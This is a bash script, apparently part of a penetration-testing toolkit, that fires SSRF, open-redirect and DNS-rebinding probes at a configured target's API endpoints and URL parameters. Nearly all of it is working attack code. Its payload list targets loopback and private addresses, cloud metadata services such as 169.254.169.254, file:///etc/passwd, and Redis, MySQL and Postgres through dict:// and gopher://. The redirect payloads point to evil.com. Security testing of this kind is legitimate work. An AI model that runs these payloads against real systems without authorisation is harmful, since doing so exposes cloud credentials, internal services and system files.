#!/bin/bash # SSRF - test if proxy can be weaponized to hit internal services SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/../config.sh" OUT="$OUT/ssrf" mkdir -p "$OUT" echo '=== SSRF TESTS ===' | tee "$OUT/summary.txt" SSRF_PAYLOADS=( 'http://127.0.0.1/' "http://127.0.0.1:${INTERNAL_API_PORT}/" "http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics" 'http://127.0.0.1:5432/' 'http://localhost/' 'http://0.0.0.0/' 'http://[::1]/' "http://[::1]:${INTERNAL_API_PORT}/" 'http://[::ffff:127.0.0.1]/' 'http://[::ffff:7f00:1]/' 'http://[0:0:0:0:0:ffff:127.0.0.1]/' 'http://169.254.169.254/latest/meta-data/' 'http://[fd00:ec2::254]/latest/meta-data/' 'http://metadata.google.internal/' 'http://[fd00:ec2::254]/computeMetadata/v1/' 'http://100.100.100.200/latest/meta-data/' 'http://10.0.0.1/' 'http://192.168.1.1/' 'http://172.16.0.1/' 'file:///etc/passwd' 'dict://127.0.0.1:6379/info' 'dict://[::1]:6379/info' 'gopher://127.0.0.1:3306/_' 'gopher://[::1]:5432/_' ) for ep in '/encrypt' '/decrypt'; do echo '' | tee -a "$OUT/summary.txt" echo "--- SSRF via $ep ---" | tee -a "$OUT/summary.txt" for url in "${SSRF_PAYLOADS[@]}"; do resp=$(curl -sk -o "$OUT/ssrf_resp.txt" -w '%{http_code}' --max-time 8 -X POST -H 'Content-Type: application/json' -d "{\"url\":\"$url\",\"data\":\"$url\"}" "$API_TARGET$ep") body_peek=$(head -c 100 "$OUT/ssrf_resp.txt" 2>/dev/null | tr -d '\n') echo "[$resp] $url | $body_peek" | tee -a "$OUT/summary.txt" done done # URL redirect abuse echo '' | tee -a "$OUT/summary.txt" echo '--- Open Redirect ---' | tee -a "$OUT/summary.txt" REDIRECTS=('//evil.com' 'https://evil.com' '/\evil.com' '/%09/evil.com' '///evil.com') for r in "${REDIRECTS[@]}"; do encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$r'))" 2>/dev/null || echo "$r") resp=$(curl -sk -o /dev/null -w '%{http_code} %{redirect_url}' --max-time 8 "$TARGET/?redirect=$encoded" "$TARGET/?next=$encoded" "$TARGET/?url=$encoded") echo "$resp -> $r" | tee -a "$OUT/summary.txt" done cat "$OUT/summary.txt" # ── DNS Rebinding ───────────────────────────────────────────────────────────── OUT_FILE="${OUT}/08_ssrf.txt" [ ! -f "$OUT_FILE" ] && OUT_FILE="${OUT}/ssrf/summary.txt" echo "" | tee -a "$OUT_FILE" echo "--- DNS Rebinding Surface ---" | tee -a "$OUT_FILE" # Test if server follows redirects to private ranges (rebinding precondition) # A real DNS rebinding attack requires a controlled resolver — these tests check # whether the server fetches URLs that resolve to RFC-1918/loopback addresses, # which is the necessary condition for rebinding to succeed. PRIVATE_URLS=( "http://127.0.0.1/" "http://127.0.0.1:${INTERNAL_API_PORT}/status" "http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics" "http://0.0.0.0/" "http://[::1]/" "http://localhost/" "http://localhost:${INTERNAL_API_PORT}/" "http://10.0.0.1/" "http://192.168.1.1/" "http://172.16.0.1/" ) for PRIV_URL in "${PRIVATE_URLS[@]}"; do ENC=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PRIV_URL") # Try common SSRF param names for PARAM in url redirect src fetch target callback webhook; do CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \ -A "$BROWSER_UA" "$TARGET/?${PARAM}=${ENC}" 2>/dev/null) [ "$CODE" = "200" ] && printf ' [SSRF-HIT] ?%s=%s → 200\n' "$PARAM" "$PRIV_URL" | tee -a "$OUT_FILE" done # Also try via API PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({'url': sys.argv[1]}))" "$PRIV_URL") CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \ -X POST -H 'Content-Type: application/json' \ -A "$BROWSER_UA" -d "$PAYLOAD" "$API_TARGET/fetch" 2>/dev/null) [ "$CODE" = "200" ] && printf ' [SSRF-HIT] POST /fetch url=%s → 200\n' "$PRIV_URL" | tee -a "$OUT_FILE" done echo " DNS rebinding surface check complete (200 responses above = SSRF candidate)" | tee -a "$OUT_FILE" # DNS rebinding via time-of-check/time-of-use: first resolve returns real IP, second returns 127.0.0.1 # We can't fully simulate this without a controlled resolver, but we can test # if the server re-resolves on redirect or follows cached DNS REDIRECT_TEST=$(curl -sk --http2 --max-redirects 5 -o /dev/null -w '%{redirect_url} %{http_code}' \ --max-time 10 -A "$BROWSER_UA" \ "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('http://169.254.169.254/latest/meta-data/'))")" 2>/dev/null) echo " Redirect chain on SSRF probe: $REDIRECT_TEST" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE"